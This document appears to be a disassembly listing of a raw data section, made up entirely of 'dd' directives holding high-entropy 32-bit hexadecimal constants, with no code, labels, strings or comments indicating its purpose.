		dd 4B511A1Ch, 5886E93Dh, 0EB00E04Bh, 5BF216C5h,	7D876C2h
		dd 0F6CD5E28h, 0F0C09ED3h, 0DF0BAFFAh, 0DA9C3F0Eh, 0B47A8A86h
		dd 0BE51C200h, 0AFAE34h, 824924E5h, 877FC3Ch, 0BBECEB00h
		dd 5D3F762Ah, 8A5103F5h, 88BED0E8h, 1131B3A8h, 1F821000h
		dd 5796CC9Bh, 5FAC0075h, 36042D03h, 0F30E6AB5h,	0E0B38063h
		dd 691F1722h, 0B18500C4h, 20ABD801h, 0E60097D4h, 2ABCB67Fh
		dd 74117587h, 67C007F4h, 203B2FACh, 3F7B85F3h, 49E5CA01h
		dd 26AD3645h, 137C73F8h, 801FC019h, 0F4538050h,	0E839E8B0h
		dd 64800FEh, 0C9DCF359h, 0B7A80003h, 646619C6h,	8B002528h
		dd 0C8525FBAh, 0E0334E5h, 0BC69D91Ah, 0C250B522h, 0EBDE6960h
		dd 0B26C8C00h, 1CE0D30Bh, 5458D1h, 9E9A1D00h, 0A9CEFD0Dh
		dd 0E4FA58h, 0E06894CDh, 0CEDBF37h, 5D8E3934h, 0BD01AC90h
		dd 722B7189h, 0F3300886h, 0FFBF0040h, 879EB3F2h, 9200F7CBh
		dd 47A68516h, 583207DEh, 2C004863h, 0A0A7FA4Fh,	0C001CDABh
		dd 0CBB83337h, 0E4C4F5B0h, 3F090092h, 0AD2C3E1h, 1C0FB618h
		dd 81495289h, 387DB286h, 9D7AE4h, 75A9F25Bh, 0FA13D047h
		dd 8ACB4C00h, 0A7F972E0h, 0FD8D005Dh, 4D892CA1h, 0C613411Bh
		dd 20B1CF62h, 86B2F4h, 0F877F59Ch, 0C7D6C3DBh, 956EC009h
		dd 15A82257h, 80C85990h, 0C2DA1DBAh, 6226239Fh,	0CA01EAC8h
		dd 683428F7h, 0D788E0CEh, 90750019h, 64BA26Eh, 270A1499h
		dd 0E43D2C30h, 2D00449Dh, 0A4516E2Eh, 4FD4E120h, 0D1B60161h
		dd 39CB6D07h, 16D86429h, 0FF14FB03h, 78AFCFh, 95E69D4Eh
		dd 0D4058608h, 0A00B99C0h, 98B38398h, 0E0A80F10h, 0EC149A2Ah
		dd 836DB21Fh, 9B4F3DC4h, 26902007h, 50EA7FCFh, 0C1127C8Fh
		dd 633F03B0h, 328BD8h, 0CEEDBDAAh, 7E53522Dh, 0C26C5800h
		dd 0A26ACC72h, 1DEAC5h,	0B72932F2h, 0BBF72E38h,	7EC5F3Ah
		dd 6C6845DFh, 0E3C66910h, 0A26100B6h, 8534771Ch, 0D8023270h
		dd 0F6DDAA88h, 759CC014h, 96920016h, 809B5A69h,	0F20EDF74h
		dd 3B3987h, 0FC5F295Eh,	37D01E26h, 0AF2D83B6h, 70B724C5h
		dd 5DDED499h, 140F384Bh, 7603C798h, 41872F47h, 8C682D00h
		dd 0FEC00B4h, 0B5966F71h, 0C4F28EEAh, 0FBA8FF60h, 0D6447Dh
		dd 13CD9163h, 0EF850ED0h, 751CC600h, 771171FFh,	0C810009Ah
		dd 4564901h, 2A00A025h,	0F4A4214Bh, 0C712FCEh, 0C298A16Dh
		dd 9D1C42B1h, 4001BA5h,	0AE5255E2h, 33AD0E50h, 4C244F2Fh
		dd 0E686C0E0h, 0D73CDA56h, 0DBF68072h, 0EF0BCE22h, 0E9A603E3h
		dd 3192B721h, 4D421EE0h, 23807A00h, 0D81490Ch, 0C29867h
		dd 0BB75B6B7h, 6C8ACD6Ah, 0D37DC304h, 9FC00D18h, 0C003F4h
		dd 0DA945305h, 5FD7A2AAh, 7106D80Eh, 9A20E033h,	3175DCh
		dd 3E55B6B8h, 536AA160h, 0D5FA1400h, 73EDDD79h,	70B0386Eh
		dd 383D1901h, 24C966D3h, 140E47E0h, 0C05346EEh,	736D63F0h
		dd 12E0EE1Ah
		dd 0E570C7h, 18DA1B3Ch,	2B0EDC62h, 20C30114h, 232029E3h
		dd 94EE135Bh, 257C0F09h, 41E4005Fh, 0FACE51F2h,	4CB41900h
		dd 0D86ED8Ch, 0E3F6C1h,	3113DB32h, 0F37558EBh, 55D9BD00h
		dd 6E9F7EE5h, 4B8F0562h, 0D05F187Ch, 6A4D57F4h,	8CEC3000h
		dd 7550E1C7h, 0BFB3027Bh, 0CF03D2C6h, 986082E2h, 5A0048D0h
		dd 7F46F4E4h, 274298h, 54DF9332h, 5B0F24E6h, 3F08F48h
		dd 0AB86E52Ah, 30E000E2h, 3661E3D5h, 180025B3h,	89D88F92h
		dd 5E4E0F50h, 0FE34007Ah, 0EEEF34A5h, 0CC95CF00h, 4BC4B2D6h
		dd 0F89096h, 0E5F86BDEh, 1FFBB882h, 1C008EE4h, 80667251h
		dd 7473DCCCh, 0B9B600A9h, 184F26C0h, 1E074AD1h,	0BC3D4339h
		dd 825659D0h, 548500CEh, 0C96874A0h, 980A5802h,	0D8B15BA9h
		dd 0E6B44900h, 1E0D7DEh, 0E84B394Ch, 30E9BFD1h,	9700B628h
		dd 0C41CADDCh, 58C88D55h, 7008CCFh, 0A31A886Eh,	0C1001827h
		dd 989A0ECDh, 1DEB1738h, 80A56301h, 487FE119h, 0E90058CFh
		dd 0E0C8F63Dh, 78977EEAh, 37D7027Bh, 88456C2Fh,	0B3ABB880h
		dd 0DC3AC704h, 80930032h, 59D93C71h, 0C8E100E4h, 10A2C45Dh
		dd 7903EEB8h, 0EC2B48F4h, 1851E11Dh, 6F225C8h, 58B9D26Ch
		dd 4000C04Ah, 0B407A192h, 44838h, 0DB22CEDAh, 349B5774h
		dd 0CDCBFA0Ah, 0B403C88Bh, 209B1C8h, 0DB1683E0h, 0E88089E0h
		dd 210D69E5h, 0FA90333Dh, 5A3A3C00h, 3E47D223h,	62A0024h
		dd 0AAFB5DBCh, 0C007811h, 12D6714Eh, 38946BA4h,	8D80E77Ch
		dd 84B882Ch, 4400EDFDh,	2DEB0AAFh, 0EAA38319h, 7CB01F4Ah
		dd 0B9FD4016h, 0C995227Dh, 49EA7100h, 0FCBC5CEEh, 0E1C000FEh
		dd 0F7850F15h, 389809E7h, 602A1700h, 0AF01321h,	392D0004h
		dd 6AEF598Dh, 0AD3AFFCAh, 0AAA00B46h, 4FBC0061h, 0EF2DCBDh
		dd 483DED6Fh, 9DC03ACEh, 0BBFD553h, 9E291F00h, 0D8D96B2Dh
		dd 0CC1600F0h, 5803A501h, 8F005D6Fh, 27EE105Fh,	4D2E53h
		dd 84066C52h, 0AF3EEFB6h, 0ACCB58h, 0C241B00Eh,	5AAA78Eh
		dd 0B0A914Ah, 0A1CC009Ch, 0B1E7B5F8h, 5200EBF2h, 6C773A27h
		dd 6F946A6h, 3373E33Dh,	741EDC12h, 0DB8121A0h, 36D4154Dh
		dd 7287FAF0h, 76CE005Ch, 0EF1A7FEAh, 14E831C4h,	1F85400h
		dd 19F19D64h, 0B8E202C1h, 8F518D66h, 233E1240h,	0BF676B1Ch
		dd 0E3ECE580h, 857192h,	0B8AFE893h, 5174CA89h, 0D4008C70h
		dd 0CE0D9786h, 483D558Eh, 8800C6F0h, 0C66AF122h, 0C313CF93h
		dd 581F1D70h, 13EE3580h, 12A2C261h, 0F9CED9h, 0FA93E954h
		dd 2C0E43F2h, 60A9D38Ah, 1AB2D8B1h, 161190A8h, 3EBA116h
		dd 0C2DF1435h, 0B8AE80A4h, 7E1D87FCh, 75801BB6h, 3D2A3F2Ch
		dd 0E2AA009Dh, 0DD6BDA13h, 4007308h, 0D136DE81h, 1679DFh
		dd 233487BBh, 5C7C1F27h, 0E2FF9902h, 5A2BED37h,	1BF900A0h
		dd 0D94C1044h, 0BB006569h, 4BA9C0E3h, 9291F5h, 1326B997h
		dd 5CD81EDDh, 68866A09h, 3973D0BCh, 8580DB69h, 8ACCFEA7h
		dd 0A800354Fh, 33580EBDh, 0D07C97h, 22A101E5h, 0B35D9CB7h
		dd 0B82C7800h, 0B433A580h, 15E504CBh, 0C0545165h, 463C676Bh
		dd 731C0401h, 0ADD0F238h, 0BCF0006Bh, 22E4A89Ah, 88767D00h
		dd 42B2554Ah, 9D2D0708h, 0C0654105h, 0E1835CB8h, 0B001D574h
		dd 86CFE878h, 0F1813791h, 0F7DC22FCh, 9E8BF09Ah, 8446EA00h
		dd 9E5C5B5h, 0D9D3241Bh, 64170EF1h, 0DA4DB300h,	63F0FA8Ah
		dd 9D5B3802h, 0F84E251Bh, 649A481Ch, 0D03E0D39h, 23039284h
		dd 608580FAh, 3638E0FBh, 8048801Ch, 195CEFDBh, 90009586h
		dd 0C3D502F2h, 0F5FA700h, 0A9683A72h, 0EF97334h, 7AEDC973h
		dd 0CAD62B80h, 0E90BFBD5h, 202D8A7Ch, 3CC5110Ch, 0CD3B0026h
		dd 7517BC9h, 0CEEE70A3h, 0D300E094h, 85CB9941h,	0B66C0031h
		dd 13B2F54Eh, 10006618h, 0B3D14097h, 1DB5CB87h,	3FD26Eh
		dd 0C9136AF3h, 4C7F52C7h, 4B5DDA3Bh, 0E9883800h, 0C8062Fh
		dd 17F9E398h, 8EEE6AE1h, 0E2EDAA03h, 910BCA28h,	0EFEC0CE5h
		dd 0BC331614h, 0D2540521h, 0DA18C0E3h, 96001F52h, 399C26D6h
		dd 2CE2CE79h, 3B2B14EAh, 51629E00h, 0D42A6FF9h,	0F061F200h
		dd 5826A8B2h, 967FB9h, 0F47438E8h, 131CFD6Ah, 0A74AF300h
		dd 0CF29AAEh, 0BFE4002Dh, 8115869Bh, 0DB704EFAh, 0E9188000h
		dd 1A84AF71h, 0AADC0013h, 0B7B32A5Bh, 5D017F1Bh, 0E8E7734Bh
		dd 76C0907Dh, 55170AC5h, 80F0C741h, 334E03F5h, 0A8E47D21h
		dd 0AF076572h, 0A9EF991Ch, 0B63B19C0h, 6038000Fh, 76F4FD7Eh
		dd 0C60022DEh, 2E916C83h, 700DA0BDh, 939F008Dh,	824F72EAh
		dd 0C000145Fh, 492801ADh, 4513E8h, 78DD860Eh, 0A2DB87DFh
		dd 74081500h, 2AA78A1Eh, 0EAD20009h, 0CC8D072Fh, 0BF004DA3h
		dd 20A55A1Fh, 1E31D09Dh, 3A24A95h, 0B86BFBADh, 0CD0774BEh
		dd 69D6E058h, 0D4D54BF0h, 5F290B71h, 38042E7h, 21C97209h
		dd 41F8CBEh, 0A433DBC0h, 0C4369Eh, 0D77B8F94h, 0EA7EE9BAh
		dd 2A728400h, 6CB38037h, 0D7417EEh, 534000B2h, 0BF6147Dh
		dd 2E8EAF00h, 0E5A187C1h, 26C0C0CBh, 23983580h,	46954E04h
		dd 94837E8Ch, 40EBCA9Bh, 159425h, 50F58758h, 9A639C59h
		dd 0AF6B000h, 0C74EF138h, 0A3940934h, 0FA80C6F7h, 41A6640Dh
		dd 86E2703h, 0B86B8401h, 12DE21h, 0B4C74B99h, 0CDFABF2Eh
		dd 0E3955200h, 0DC42DA48h, 0D91900F4h, 1FE70FB9h, 7571CEEFh
		dd 0FE3BA377h, 0AA5300F0h, 67F3FAD1h, 696F00A8h, 56D7413h
		dd 1500FF0Fh, 1E65236Ch, 1D9820h, 84BF7CAAh, 21E7D488h
		dd 9E12F907h, 0EEA0ECF5h, 0E1FFE3h, 1D9AB0BAh, 2D9DFC2Fh
		dd 5C971B00h, 0C6B8788Ch, 179300C2h, 8DA78FBBh,	497AFFFAh
		dd 10195B00h, 3D0D8801h, 0F096A9h, 30FB574Ah, 0CC0E7ED1h
		dd 9E3AD3ACh, 0C9AD280h, 0BF7B874h, 6F9472CFh, 149D1382h
		dd 0D881CCC1h, 9B174758h, 0FC0EBB01h, 981A0DD2h, 0A3FA5884h
		dd 2ED4BCB4h, 8D0F9BE5h, 33F4C56Dh, 0F16400C0h,	89A600D6h
		dd 90E0565Bh, 7F00C69Eh, 750AA32Fh, 546558h, 0E49D2BF4h
		dd 0C0A6FA4Ch, 2CDB3Dh,	6DACDF80h, 9162F8h, 0C6085ED5h
		dd 83970AD8h, 0F630DA30h, 0E692158h, 24322D2Fh,	0D8890620h
		dd 0A3705D90h, 0BDD56200h, 0E16D53C1h, 0D0AB13DDh, 7317030Ch
		dd 283FA3B9h, 0BC3A0258h, 40E6CF7Fh, 0F6079CF2h, 0C7970055h
		dd 76A8249Fh, 5E0025C6h, 6CA6D7EDh, 0E81669C0h,	0AB863BDBh
		dd 0EBBDE400h, 0C1FB77D6h, 5003E3F6h, 8B13AD6Fh, 0F7129032h
		dd 6ECE015Eh, 733D0BBDh, 2B60FAC3h, 4300BB6Dh, 0F67587C6h
		dd 0EB5597h, 949EB6FAh,	0D19D567Bh, 194C6DE0h, 628008Ch
		dd 49EB4203h, 0E0C20960h, 1020A348h, 21C6F95Eh,	0F2C0B100h
		dd 0A8BBDE39h, 517007B6h, 30C98433h, 7CD5E48Eh,	0A7832D00h
		dd 56812C82h, 0A8BC2415h, 0CE54001Dh, 5126F67Fh, 69079DE2h
		dd 0A0588025h, 89404417h, 30167630h, 0F4E277C2h, 0DC0052D2h
		dd 0E1268EADh, 7935CD7h, 97731D04h, 4079572Dh, 162FA06Bh
		dd 7F003AF4h, 0B45A64Ah, 0B3CDED3h, 753384ADh, 59BF8480h
		dd 3B25AF0Eh, 0D0E043DAh, 0DFA3Eh, 8E790FEDh, 439D6E97h
		dd 0A5E93A00h, 0BA287DAAh, 0C3E50095h, 1F705BEDh, 8D00397Bh
		dd 42241DD8h, 9A047F2h,	8E116FFFh, 4A304468h, 126B373Fh
		dd 6040B94Eh, 0E8F4F850h, 0C93B00CEh, 628E2D07h, 0C4EE8065h
		dd 8A1CC172h, 19C1BC99h, 32B84075h, 0FB37DE80h,	0DD2F1B23h
		dd 9428CC3Bh, 0A0147Ah
		dd 0B44B48D2h, 0AD0EC9h, 842D72F9h, 0A1F46DEBh,	0DBEACD0Eh
		dd 74DE357h, 1E480198h,	28EC35A9h, 6E1C607Eh, 0C88034D6h
		dd 0B815A5D8h, 48741F3Dh, 0D3169EDEh, 0E1880001h, 66938191h
		dd 425D5324h, 0B7057501h, 108251C6h, 180EC865h,	0C2D93A40h
		dd 0BB73DA00h, 0D59D53C5h, 0E61C02C9h, 64A2223Dh, 0B9000C7Eh
		dd 8BCBECD7h, 0FA1034Eh, 2CE8B32Fh, 0D073DFB0h,	70D1664Eh
		dd 0DD704DEEh, 0CE7E393Dh, 688050BFh, 81BB4594h, 4E01C131h
		dd 0AEAC77C3h, 51D0786Ch, 6B6400BEh, 88554C99h,	0AF017CF6h
		dd 1C86F815h, 0B3E0ABC6h, 6C6901A9h, 26192D99h,	0CDD5F9C0h
		dd 7C54CCF0h, 5936662Eh, 899BF500h, 0DDA396h, 6732E753h
		dd 0C8211D1Ch, 280F7570h, 0BB85D3h, 6C19A37Bh, 36320E54h
		dd 0D0E07D40h, 34283AEFh, 0A40EA000h, 0B7511C0Dh, 118A00FDh
		dd 0F3059BFEh, 6A1CE6CAh, 7F03284Bh, 0EBD3DD8Ch, 6537E8EFh
		dd 778071Ah, 0D0DA0E71h, 5EAB18C5h, 0C0ABF250h,	3942B000h
		dd 0AF53D27Ch, 0F431FA76h, 9AC0796h, 1B151B41h,	616F706h
		dd 4613CB0Bh, 201DFE2Ah, 8373BAFh, 2B2F4880h, 70EA5607h
		dd 87B54F07h, 0A730D0ACh, 0DC45BCh, 3E6E768Bh, 18DE178Eh
		dd 0BBC4DD39h, 347400CDh, 5AD7E50Bh, 7A6E0011h,	8E1E98E7h
		dd 8200AA7Eh, 0EB5C78F0h, 1EE5F6C1h, 0DE2ADE2Eh, 615580FBh
		dd 7AE3EC33h, 9950BD00h, 92EBC151h, 0F6CF432h, 0AE56946Ah
		dd 7AE94200h, 780121C7h, 0A33124E8h, 6CF0BBC0h,	6FC00FDh
		dd 0C4F2F4F3h, 0AD00E91Ch, 0CC748485h, 36C1E7h,	81FF8CC9h
		dd 0FAD9C7C3h, 5D885300h, 63A21A08h, 46A00B1h, 0BC6898E2h
		dd 0CA00E4AFh, 906E85D0h, 48EA2AB5h, 0E500B710h, 97D69D2Ch
		dd 0EB3BB9DAh, 3F5880DDh, 0A2ABD7D4h, 0F2F100BDh, 0FA665505h
		dd 0C01FB84h, 0ED2F9688h, 1AC8AB87h, 0DAE482h, 0DB76AC99h
		dd 8E9192DFh, 42C8B600h, 0CBD34C77h, 0F3070060h, 5552C730h
		dd 9800D1CAh, 9CC66F06h, 0F0EEF42h, 164B4996h, 0E02AF802h
		dd 0E8CF74E0h, 0DF6B2800h, 0DB17CA93h, 9CFF064Eh, 2187FD4Ch
		dd 867B8000h, 6DE6B5FAh, 0BF040029h, 0F5D64CB0h, 0B73EE261h
		dd 3F0BDFFh, 7A380F51h,	2478D0EDh, 0C325004Bh, 0EA41118Bh
		dd 55F8BD2Bh, 4593911Dh, 0BAF05640h, 0FF2967h, 2FF38765h
		dd 0E7BF886Bh, 3A463001h, 0B95C1C85h, 739F6FCh,	0C8E55F98h
		dd 0F16340CBh, 85002201h, 4A14CA0Bh, 0FAED05Bh,	4551064Bh
		dd 0F9D1FC80h, 5A3BC48Ah, 47D28008h, 3742C970h,	26B801BDh
		dd 533EE1C5h, 0C70802Ah, 6923253Bh, 0E8806E18h,	21377FE0h
		dd 65008975h, 0E90C8E77h, 8FE73Fh, 0CA58D5B4h, 22DBE0E3h
		dd 8DC1691Eh, 1A7084Bh,	0E55B6C3Bh, 9036BDFCh, 0FC9E30ACh
		dd 89DAFF40h, 0D60D0E00h, 2C401882h, 30E80043h,	0FC58D4EDh
		dd 9F0060DEh, 0E75674FDh, 0A0260A92h, 286F90h, 76E4418Eh
		dd 95E6F44Ch, 0A081B8CFh, 2D75FB3Eh, 0C478009Ch, 56B0666Ah
		dd 0E01F161h, 0E5FC550Ch, 30803248h, 4F83BEB1h,	2C7D9177h
		dd 7C24D34Ch, 1E6E6900h, 1F7D8BD0h, 0AE2B0096h,	4F446FA5h
		dd 0D10009FAh, 62C96A5Bh, 0BCF4BDh, 6427D8EBh, 2028AFFFh
		dd 0CE98C409h, 7B4B000Dh, 7740EA6h, 0CB17C932h,	14625073h
		dd 0D40050F0h, 1EAF6656h, 26B591h, 476F8F9Fh, 22893F49h
		dd 0C0B6BF16h, 0E1CD8F00h, 0E14E6BCh, 0FBE2365Eh, 0B33FFF00h
		dd 0A50030C1h, 0BD3E3AECh, 0F72CEh, 0D37B8DF7h,	63A15B1Ch
		dd 68FA130Eh, 0E27900B2h, 30F5A9h, 72C16075h, 186EB5F4h
		dd 410D1D17h, 0DB661C00h, 79FFDC6h, 0C7CB060Eh,	6FC9635Ah
		dd 94527788h, 63F8644Ah, 0E5980A00h, 0A43C7C30h, 0E909311Ch
		dd 78205C80h, 1085E89h,	9DCA03F2h, 30370C64h, 80060A54h
		dd 3D48DC07h, 0B1AC0010h, 505511ADh, 3628097Eh,	47E4A42Eh
		dd 0F8247528h, 0FA01FA98h, 686AB4C9h, 0B5F8CE2Dh, 0E27F0704h
		dd 800207FCh, 53932EEBh, 2DC79B00h, 41B92B87h, 313B0095h
		dd 482491C8h, 0C3E4C4F8h, 0CA00D874h, 0B4789056h, 7470C2h
		dd 734A764Bh, 10EE71A9h, 0A075D4E5h, 0BF0D3A07h, 430E206Ah
		dd 0F0BC5605h, 0EB9C67h, 4AC17201h, 3D623380h, 0AF08D900h
		dd 4B3EB3DEh, 0A5500E60h, 0A9E058D0h, 2F8327Ah,	547B2500h
		dd 804D40D4h, 60F301EAh, 0BE6690E3h, 416C6053h,	11F96200h
		dd 6DD67DEEh, 7CA549FFh, 8EF45403h, 2FA057F7h, 0C9247F87h
		dd 95003033h, 0C4CA2835h, 0A710C07Ah, 0EC72DB15h, 26E0FB07h
		dd 604FC8DDh, 0B7F936CAh, 1FE902F3h, 24F70CBBh,	78DB5840h
		dd 5200D3F8h, 0A43FD64Dh, 128FA7D8h, 4E4250h, 0A17E6048h
		dd 0B203276Dh, 0BFB3E757h, 0D0668182h, 0F700F422h, 0CB4E4B2Fh
		dd 4A243CC2h, 5F01E835h, 6DF61B05h, 7DDC6EDCh, 3FA71FB5h
		dd 0D4B8001Ah, 677B1E85h, 1601AA03h, 0D8E2AD6Eh, 1F8EBB6h
		dd 8597E703h, 209A7018h, 581D890Ch, 224D028h, 637CF900h
		dd 1DC95DD5h, 0D8B6D998h, 4346B094h, 9BF87609h,	51E400D4h
		dd 4C115472h, 0D3006CA4h, 0F5599081h, 0C2006236h, 1CB59D64h
		dd 871FF7h, 0F1EC2BEBh,	825C3C16h, 5633A00h, 69244CD0h
		dd 6AFD3E4Ah, 0D70060C8h, 53E77CEBh, 23F0E98Bh,	77C6E500h
		dd 0AC3DBADh, 689143h, 56F74E92h, 1CEC04FBh, 3F00C0B0h
		dd 89BCC195h, 60BB33EAh, 4D8F3AC9h, 2002E7Dh, 2423EC16h
		dd 6D498Bh, 0B7D8C0D6h,	48CE9FE5h, 95752700h, 29E39DCFh
		dd 6AD51EB0h, 7067FDFEh, 0F5561034h, 980777A5h,	0F813556Eh
		dd 66D6C640h, 0FB6B007Dh, 0A42CE6FEh, 82003D1Ah, 817F4F2Fh
		dd 89772Ah, 7A5B6605h, 4327E379h, 1C2A43Fh, 0F80EA598h
		dd 0FBF83BA6h, 0CCF5006Fh, 0E0381165h, 2B5F1297h, 0EBF3B0h
		dd 3B6CE4E3h, 68645759h, 0F1EAA000h, 47A3D6BFh,	0B3EC05C0h
		dd 803CAD5Bh, 3A78B6C8h, 0E75F1F1Dh, 4A4045DCh,	33C6CBDBh
		dd 88852C95h, 0F8E500FAh, 8D344869h, 57E3AD00h,	7C835118h
		dd 0E0350209h, 7B5F3EC1h, 0B21D4C40h, 98DBBD09h, 1BA3003Bh
		dd 1CCB8F4Ch, 0C5F9109Eh, 0C7204731h, 0C7440064h, 5100A0BDh
		dd 0F88759BBh, 0F8022EDh, 8968E8BCh, 92584640h,	520ECCCDh
		dd 238B1E04h, 900B6764h, 0CA1D97h, 4E6FD598h, 2DDAC230h
		dd 0BF009CF4h, 0E32A24D4h, 7E8FDCEh, 4876A169h,	80ECCADEh
		dd 0F21EE3Dh, 0B2FE983Ah, 0D702AFEEh, 975E673Eh, 0E50C404Dh
		dd 12390049h, 9DCED09Eh, 6400ABEEh, 3891AFF4h, 0B6042Ch
		dd 2448DA05h, 373C1383h, 1F4F8B1Ch, 68047493h, 8B80A10Ch
		dd 0E6CECD7h, 0E710415h, 0F0590180h, 0D6006B6Ah, 7CE6D3C4h
		dd 0AE98690h, 4F25A69h,	0A8DF87DCh, 0D3DC80C8h,	0E8E9B561h
		dd 98079FE1h, 0C0587D12h, 0E64A80F9h, 9AE44DBh,	0EC3A86D9h
		dd 1611DD00h, 2939B684h, 0E7DC0092h, 52909CCBh,	1F5C00F4h
		dd 228C7360h, 0D13F19FFh, 29B50385h, 0B0CDDD2Fh, 389A8BC6h
		dd 0A4806543h, 0B2CFE7C1h, 0AC926B5Eh, 34916300h, 360FD58Eh
		dd 7F0D0087h, 923E9E3Fh, 7301B8AFh, 644F29Dh, 0CBC846D3h
		dd 331E09CFh, 30806414h, 998EA5CAh, 0C112DC0Fh,	4F89E070h
		dd 925931h, 0D642FEBAh,	3A17B35Bh, 0C5A13500h, 5EA7672Dh
		dd 9620074Ch, 0F78F81C7h, 0EACA00FFh, 0D900AF0Bh, 0E6663B78h
		dd 3ACE2A6h, 0B241144Bh, 60EF2369h, 0A8453C39h,	300E7FEh
		dd 0CEEDE1A5h, 80EBCBh,	67DE38ABh, 0FC7134E4h, 0DD9DA718h
		dd 0C6E820h, 758E2F09h
		dd 2B1162FAh, 8C00CD76h, 0D54361EAh, 187E495h, 9F33B47Dh
		dd 0F6AA6E5Ah, 7F678848h, 9697B001h, 0E26AFEDAh, 0E6B9E4h
		dd 3CF7070Bh, 1A135943h, 0C3886200h, 65119E05h,	7957A8Ah
		dd 408D154Ch, 8FFBF0EDh, 4021202h, 6D264D35h, 5C508Ch
		dd 0CAFEA375h, 5D1FBA30h, 9000D877h, 0AFFAF943h, 35DAA9h
		dd 1C9CF3A7h, 0D1BBFFCEh, 0AC00E37Ch, 7A510C3h,	954CE0h
		dd 0E92C0370h, 0CD64782Dh, 0D7C5209h, 98A09BAAh, 0E5E37Eh
		dd 0BEDD760Bh, 171E250Ch, 39D25C00h, 40BD4EA2h,	6EF30077h
		dd 0A501905Fh, 9C00462Ch, 0D0D2ECC9h, 1EAB1B73h, 0C69DE9h
		dd 0C0C44358h, 0D1F87608h, 0B935A9A0h, 6F009A78h, 6BE59459h
		dd 0BAF273h, 6ADC6DE3h,	11F37840h, 6C48EB16h, 0CA30FD00h
		dd 7DA0A42h, 28E72BFCh,	0CA01943h, 0A97D4F76h, 8CCE5C00h
		dd 6760E43Bh, 0B9902C83h, 0F7E709ACh, 30E248A1h, 0D2F07F5Bh
		dd 45753BA6h, 63103E89h, 0DD4E7820h, 0A0006CF6h, 430DEF9h
		dd 1DDF1Ch, 0BD95E565h,	0CDB1DC3Fh, 0E6C92500h,	499E83B2h
		dd 94CF0023h, 3CA91C5Fh, 19012438h, 0BD754CB3h,	0E0404906h
		dd 1CD3B545h, 70F816BCh, 0BD437D10h, 2146CF30h,	0BCF305h
		dd 80D8E07h, 0E6437C6Eh, 3D0920h, 0E940DBF4h, 7CA312Eh
		dd 0CE4D2CF4h, 14BA0754h, 0F8134E60h, 2A21002Bh, 823ACCE2h
		dd 40C0FB3Bh, 2BA048AFh, 69230D37h, 0F059E67Fh,	0A4004940h
		dd 3F1941CEh, 1DDD5E03h, 0C33DE3h, 3724F307h, 917D6685h
		dd 7CBA8F39h, 3EB17700h, 3133B714h, 7C0A0083h, 1D2B6AB5h
		dd 6900BF32h, 0B0CE7136h, 0AE3D15h, 0F8AAAC98h,	0EC4FB62Ah
		dd 9D341900h, 6E15A89Bh, 0B0A6306Bh, 0FCC4D790h, 1D577803h
		dd 9836F961h, 0E8F0C6Ah, 2C583B31h, 0E1F448D9h,	0D3418074h
		dd 392E6282h, 0CBF7813h, 0B4C77547h, 250A0F28h,	0F0FDFED3h
		dd 0E1592000h, 7B741651h, 0D880A907h, 0BDFFA450h, 882760E7h
		dd 0F79261F1h, 0E815E400h, 70D66C12h, 16171DBEh, 0D4E3153Dh
		dd 5972060Ch, 3F01FF49h, 0FE8C0715h, 0C0073C49h, 321F332Fh
		dd 4F5C3571h, 5C402E90h, 0ED7BDA00h, 7CFDD291h,	34D63495h
		dd 3A9100C1h, 0EE816BA4h, 247F0E01h, 26EFD007h,	110CC0h
		dd 6398F762h, 4B4F641Fh, 1D77E00h, 0DD8A5CCFh, 909A0FE0h
		dd 0D620A233h, 32BEA93Dh, 6D71B300h, 0AE2FAD1Bh, 0C99F0099h
		dd 0A310D77Bh, 0B9033D27h, 0C259D0FFh, 0DC23D0C1h, 0EBC305E8h
		dd 0A8DE948Eh, 3C8100ACh, 31E28744h, 0C4E83D27h, 0C1B83A00h
		dd 1ED90FC7h, 4F012B0Bh, 0B2A40371h, 0AF2588C6h, 2CD4E416h
		dd 8D3343h, 3F9A6BF5h, 0BC926A5Bh, 758B051Dh, 10641280h
		dd 0C689E652h, 20980E08h, 6F0AA500h, 40BF5C2Bh,	3A390758h
		dd 0B09A54BCh, 743DFDB9h, 94284Dh, 0E7ADDAAAh, 4DEAD608h
		dd 0CF01A0C8h, 96FB285Ah, 1A35C079h, 9D4F8A00h,	5C897D8h
		dd 1299797Ch, 1FBF69h, 3B399E3Ch, 1003BAC7h, 33C22CA1h
		dd 15AD80C1h, 951705E6h, 8263DDAFh, 2048C5A5h, 0DA014D1Fh
		dd 448228Fh, 9933A3Eh, 0BF304092h, 3B15D502h, 129B5100h
		dd 0F6537F54h, 0F74F46Ah, 7C91750Dh, 0FF4C2252h, 5C369481h
		dd 4900863h, 0AE9DB675h, 20013213h, 0DE722F9Ah,	0AEFA3Ch
		dd 0FDD86805h, 38246A7h, 0E0B384C9h, 7000F9A1h,	6F13DF48h
		dd 0C49D93CDh, 884A3A79h, 0D300AD5Ch, 0E21E5056h, 6C70F86h
		dd 19FB4EDEh, 2F004028h, 4DB66167h, 98486ABBh, 0F118034Ah
		dd 0EE39D623h, 0C7579F0h, 54145Ch, 0F7B644EAh, 785CF0D2h
		dd 0EEAB01DAh, 30C33338h, 18A8F76Ah, 9B006EACh,	8F8756A9h
		dd 3DCC0483h, 0A000DF08h, 0F0E9A196h, 747A23FFh, 0C3C26A03h
		dd 882B1C6Bh, 8DF756h, 2D20EE0Bh, 367D9D4Ah, 92B68100h
		dd 0B1A86E4Fh, 0A0880064h, 283F96F1h, 63008008h, 0DDD57AD8h
		dd 0B9F2B30h, 0B470BD04h, 401E7B00h, 0D900673Bh, 0C477925Eh
		dd 802BA1h, 0E083994Dh,	51DC6639h, 0F7D4B238h, 0EDF2500h
		dd 0F627DE76h, 76FF816h, 0CAD73D13h, 2FC7808Fh,	0B81FE5F4h
		dd 0E9002C56h, 0C5E252BBh, 48B70092h, 0CB540A1Fh, 0C9000253h
		dd 7FAC3A09h, 389C6F80h, 558340D2h, 4E48F02Ch, 37D74007h
		dd 1E403FB0h, 0BD385Ah,	641BAFE0h, 14B13466h, 0DA797300h
		dd 0A8C2BBE3h, 45953C1Ah, 3237D286h, 8400384Fh,	88299690h
		dd 3BF01FC8h, 0BA00793Eh, 0BEB16C7Eh, 0DC2EE969h, 5200CAB7h
		dd 18FAC192h, 868A07A0h, 600BB306h, 0FF47F4Ch, 0B807A3F8h
		dd 0C510B67Bh, 802557B3h, 3A75A02h, 0DCBDA161h,	20A0056Bh
		dd 0D3007A1Bh, 41A2039Dh, 0C0A55065h, 15BCBE59h, 0F80096BDh
		dd 8845581Ch, 18F6CB24h, 0E868373Ch, 6008A9Fh, 9312682h
		dd 2055A6h, 0A29875C2h,	0B828C95Bh, 6B00D87Dh, 0DB6DBB19h
